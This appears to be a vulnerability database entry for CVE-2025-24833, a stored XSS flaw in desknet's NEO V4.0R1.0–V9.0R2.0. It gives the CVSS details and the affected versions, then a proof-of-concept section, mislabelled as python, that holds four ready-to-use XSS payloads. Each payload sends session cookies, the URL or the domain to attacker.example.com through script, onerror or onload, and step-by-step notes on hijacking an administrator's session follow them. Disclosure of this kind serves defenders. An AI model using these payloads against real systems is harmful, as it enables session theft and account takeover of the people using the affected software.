Stored cross-site scripting (XSS) vulnerability in desknet's NEO versions V4.0R1.0–V9.0R2.0 allow execution of arbitrary JavaScript in a user’s web browser.
CVSS Details
CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
desknet's NEO V4.0R1.0
desknet's NEO V4.x
desknet's NEO V5.x
desknet's NEO V6.x
desknet's NEO V7.x
desknet's NEO V8.x
desknet's NEO V9.0R2.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2025-24833 - Stored XSS in desknet's NEO
Affected versions: V4.0R1.0 - V9.0R2.0
Vulnerability type: Stored Cross-Site Scripting (XSS)
-->
<!-- Step 1: Attacker logs in with low-privilege credentials -->
<!-- Step 2: Inject malicious payload into a stored input field (e.g., bulletin board post) -->
<!-- Payload 1: Basic cookie stealing -->
<script>
var img = new Image();
img.src = 'https://attacker.example.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>
<!-- Payload 2: Session hijacking via fetch -->
<script>
fetch('https://attacker.example.com/log', {
method: 'POST',
body: JSON.stringify({
cookie: document.cookie,
url: location.href,
ua: navigator.userAgent
})
});
</script>
<!-- Payload 3: Event handler based XSS (in case <script> tags are filtered) -->
<img src=x onerror="fetch('https://attacker.example.com/steal?c='+document.cookie)">
<!-- Payload 4: SVG-based XSS -->
<svg onload="javascript:fetch('https://attacker.example.com/x?d='+document.domain)">
<!--
Step 3: Victim (e.g., administrator) views the page containing the stored payload
Step 4: Malicious JavaScript executes in victim's browser context
Step 5: Attacker captures session cookies or performs actions as the victim
-->